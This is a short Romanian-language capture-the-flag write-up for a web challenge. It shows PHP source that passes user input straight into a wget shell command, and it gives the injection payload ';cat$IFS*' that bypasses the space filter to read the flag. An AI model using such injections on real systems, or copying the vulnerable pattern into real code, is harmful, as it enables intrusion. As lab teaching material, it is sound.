random-web1

Daca ne uitam atenti la descriere sau titlu nu primim cine stie ce hint asa ca intram pe pagina web si descoperim in codul sursa un denpoint /?source:

```
1 <!-- /?source -->
```

Cand intram descoperim niste cod sursa php:

```php
<?php

error_reporting(0);
(isset($_GET['source']) AND show_source(__FILE__) AND die(

if(isset($_REQUEST['p'])){

    $p = preg_replace('/[^\x21-\x7e]/','', $_REQUEST['p'])
    $p = str_replace("flag", "", $p);
    $p = substr($p,0,9);

    system("wget -qO - " . $p . " 2>&1");

}

?>
<!-- /?source -->
```

De aici vedem ca avem nevoie de parametrul ‘p’ si faptul ca avem avem blacklist de cuvinte datorita functiei preg_replace.Vedem ca nu putem folosi spatii asa ca ne putem folosi de comenzi basic cum ar fi cat si $IFS pentru bypass de spatii.Payloadul final (am folosit “;” pentru a da break la comanda anterioara care se executa):

http://34.159.151.77:30390/?p=;cat$IFS*

Flag:

CTF{a9b6b13862f0a8….d777a91a596eba7cb010f}

Trolled by masquerade8077